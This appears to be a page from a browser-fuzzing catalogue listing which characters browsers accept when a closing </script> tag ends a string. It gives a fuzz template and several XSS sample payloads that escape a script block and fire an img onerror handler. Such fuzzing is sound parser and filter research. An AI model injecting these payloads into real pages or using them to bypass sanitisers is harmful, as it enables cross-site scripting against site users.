Characters Supported in </script> Tags

Covers the valid character set and syntax rules for closing script tags in HTML, including case sensitivity, spacing, and common parsing behaviors.

Novice Fuzzer

Created Feb 10, 2026

Updated Feb 10, 2026

Unable to render tweet button

Detecting browser...

CategoryHTML Parsing

VisibilityPublic

TypeXSS

CharsetUTF-8

Template used:

<script>0x0D
a="</script$[chr]><img src=data: onerror=log($[i])>"0x0D
</script>

Sample payloads

<script>0x0D
a="</script0x09><img src=data: onerror=alert(9)>"0x0D
</script>

<script>0x0D
a="</script
><img src=data: onerror=alert(10)>"0x0D
</script>

<script>0x0D
a="</script0x0C><img src=data: onerror=alert(12)>"0x0D
</script>

<script>0x0D
a="</script0x0D><img src=data: onerror=alert(13)>"0x0D
</script>

<script>0x0D
a="</script ><img src=data: onerror=alert(32)>"0x0D
</script>

<script>0x0D
a="</script/><img src=data: onerror=alert(47)>"0x0D
</script>

<script>0x0D
a="</script>><img src=data: onerror=alert(62)>"0x0D
</script>